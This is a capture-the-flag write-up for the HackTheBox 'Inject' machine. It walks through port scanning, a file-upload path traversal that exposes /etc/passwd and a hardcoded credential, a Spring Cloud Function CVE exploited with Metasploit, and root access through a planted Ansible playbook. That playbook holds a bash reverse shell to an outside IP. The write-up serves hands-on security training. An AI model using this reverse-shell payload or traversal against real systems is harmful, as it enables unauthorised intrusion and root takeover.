Write-up author: jon-brandy
PORT SCANNING
┌──(brandy㉿bread-yolk)-[~]
└─$ nmap -p- -sVC 10.10.11.204 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-26 04:39 PDT
Nmap scan report for inject.htb (10.10.11.204)
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.33 seconds
- Based from the nmap results, the machine runs a web application and opens ssh login.
WEB APP
- Long story short, of all the existing features this website have. Only upload feature which could be our foothold.
- When I tried to upload a ELF file, it showed this:
- It does validate the extension file uploaded but does it sanitize the contents??
- This could be our foothold. Anyway let's try to upload a normal image file there.
RESULT
- Interesting! We can view it.
- Great! More interestingly there's a URL parameter! We can send our reverse shell and access it to trigger it.
- But anyway based from the wappalyzer info the webapps seems can't execute any file.
- And we don't know whether it sanitizes the image content or not.
- Anyway, found a
File Traversal
vuln when capturing the request using burpsuite and changing the parameter value.
RESULT
- Succeed access /etc/passwd. Great! This means we can access the user directory and get the user flag there.
- Found 2 users, let's see which one has the user flag.
- Found the user flag at phil, but the web browser can't read the user.txt file.
- Going back to frank directory and checking
.m2
directory, we found a file named settings.xml, opening it shall resulting to this:
- Noticed there's a cred hardcoded there.
- Anyway can't login to phil and frank using that password.
- Then I go to
var/www
to see if there's any interesting directories or files inside it.
FOUND NOTHING IN HTML
FOUND FILES IN WEBAPP DIR
- Checking pom.xml which covering about spring framework we can see the web version.
- Great! This shall helps us find CVEs.
- Diving in the internet found 2 CVEs close to this -->
CVE-2022-22965
andCVE-2022-22963
. - Analyze further the poc.xml shall realized the CVE for this challenge should be -->
CVE-2022-22963
. Because there's several things not there to useCVE-2022-22965
. - Checking the metasploit, the targeturi seems at
/functionRouter
.
USING METASPLOIT
- This time I tried to change to phil using the password we failed to use at ssh before.
- Turns out we succeed! Confused why failed before.
GETTING USER FLAG
fc6d1634e2f5babf342a0cf22ac541bd
- Run -->
python3 -c 'import pty;pty.spawn("/bin/sh")'
so we can check sudo permission for phil.
RESULT
- Sadly we can't, let's use linpeas to check whether there is files or directories we can use to escalate our privilege.
- Linpeas is a great tool, it listed every files/directories and even potential CVE document we can use to escalate our privilege.
- However, it still hard to identify which one and it took time.
- Based from the linpeas, it listed several
Ansible
path which runs as root. Ansible
is a great tool for automating IT tasks and managing infra at scale. It uses YAML to describe config changes and tasks.- Also it can be used to manage systems that runs on a wide range of OS.
- Running another powerfull tool called pspy64 shall resulting the same result as linpeas but with more straightforward result.
FINDING
- Great! Seems Ansible is truly the intended solution here.
- Noticed the
ansible/playbook
is being run as root. - Inside
playbook
itslef contained such as described before --> a task like execute shell command, create a new user, modifying a configuration file, or even installing packages. The cool thing is, it'sAUTOMATED
. - Checking the files permissions in
/opt/automation/tasks/
shall resulting to this:
- Remembering phil is a member of user group --> staff. Hence it allows us to create another .yaml file which has our reverse shell payload.
- With this we can gain root!
NORMAL .YAML FILE
MALICIOUS .YAML/.YML FILE
- hosts: localhost
tasks:
- name: Checking webapp service
shell: bash -c 'bash -i>& /dev/tcp/10.10.16.23/1337 0>&1'
- Creates in at our local machine then run wget to send it there. Wait for minutes, after cronjob exec it, we got the root shell.
RESULT
GETTING ROOT FLAG
836c23c223f92772f6cbfe4cb2e2e1c2